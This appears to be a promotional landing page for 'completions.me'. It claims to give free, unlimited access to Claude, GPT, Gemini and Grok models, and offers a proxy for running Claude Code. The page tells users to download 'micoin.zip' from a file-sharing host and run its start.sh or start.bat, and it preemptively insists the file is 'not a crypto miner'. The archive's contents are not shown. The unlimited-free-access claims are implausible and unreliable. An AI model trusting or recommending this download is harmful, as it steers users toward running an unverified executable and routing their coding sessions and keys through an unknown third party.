100% Free · Unlimited Requests · No Credit Card

Every AI Model.
One Free API.

Get unlimited free access to Claude Opus 4.6, GPT-5.2, Gemini 3.1 Pro, and 15+ more models through a single OpenAI-compatible endpoint.

AnthropicOpenAIGooglexAI
terminal
$ curl https://completions.me/api/v1/chat/completions
  -H "Authorization: Bearer sk-cp_..."
  -d '{"model": "claude-opus-4.6", ...}'

{ "choices": [{ "message": { "content": "Hello! How can I help..." } }] }

All Premium Models. Completely Free.

Access the most powerful AI models from Anthropic, OpenAI, Google, and xAI — no rate limits, no credit card, no restrictions.

Anthropic

Claude Opus 4.6
claude-opus-4.6
Claude Sonnet 4.6
claude-sonnet-4.6
Claude Sonnet 4.5
claude-sonnet-4.5
Claude Haiku 4.5
claude-haiku-4.5

OpenAI

GPT-5.2
gpt-5.2
GPT-5.1
gpt-5.1
GPT-4.1
gpt-4.1

Google

Gemini 3.1 Pro
gemini-3.1-pro-preview
Gemini 3 Pro
gemini-3-pro-preview
Gemini 2.5 Pro
gemini-2.5-pro

xAI

Grok Code Fast
grok-code-fast-1

Get Started in 3 Steps

From sign-up to your first AI-powered request in under a minute.

1

Create Account

Sign up for free — no email verification, no credit card. Just a username and password.

2

Copy Your API Key

Generate an API key from your dashboard. It works instantly with any OpenAI-compatible client.

3

Start Building

Point your OpenAI SDK, Claude Code, or any HTTP client to our endpoint. That's it.

Use Claude Code for Free

Claude Code is Anthropic's powerful CLI coding assistant. Normally it requires a paid API key. With our desktop proxy, just enter your Completions API key and it handles everything — full tool support, file editing, bash commands, and more.

Getting Started
# 1. Download & extract the proxy
#    (or use the download button below)

# 2. Run it
$ bash start.sh        # Linux / macOS
$ start.bat          # Windows (double-click)

# 3. Enter your API key when prompted
[auth] Enter your API key: sk-cp_...
[auth] API key validated

 Launching Claude Code...
Claude Code is ready. All tools enabled.
Full Tool Support
File ops, bash, search — everything works
Any Model
Switch between Claude, GPT, Gemini freely
Zero Cost
Just your free Completions API key

Works with Any Language

Our API is 100% OpenAI-compatible. Just change the base URL and API key in your existing code — no other changes needed.

from openai import OpenAI

client = OpenAI(
  base_url="https://completions.me/api/v1",
    api_key="sk-cp_your_key_here"
)

response = client.chat.completions.create(
    model="claude-sonnet-4.5",
    messages=[{"role": "user", "content": "Hello!"}],
    stream=True
)

for chunk in response:
    print(chunk.choices[0].delta.content, end="")

One-Click Setup for Claude Code

Download the Completions proxy, run it, and enter your API key. It handles everything automatically — no manual config needed.

Download Proxy

micoin.zip — not a crypto miner, just catbox's random filename generator being funny

Windows

Double-click to run

1. Extract the zip
2. Double-click start.bat
3. Enter your API key when prompted

Linux / macOS

Bash / Zsh

$ unzip completions-proxy.zip
$ cd completions-proxy
$ bash start.sh
completions-proxy
Completions Proxy v1.0claude-opus-4.6

[auth] Enter your API key (get one at completions.me/dashboard)
[auth] API key validated
 Proxy running on http://localhost:4242
Launching Claude Code...

> Claude Code is ready. All tools enabled.

Requires Node.js 18+ and npm i -g @anthropic-ai/claude-code

Need More RAM?

Why buy expensive hardware when you can just download it?

100% real. Definitely not a joke. Trust us.

Powered by Claude Opus 4.6 via completions.me

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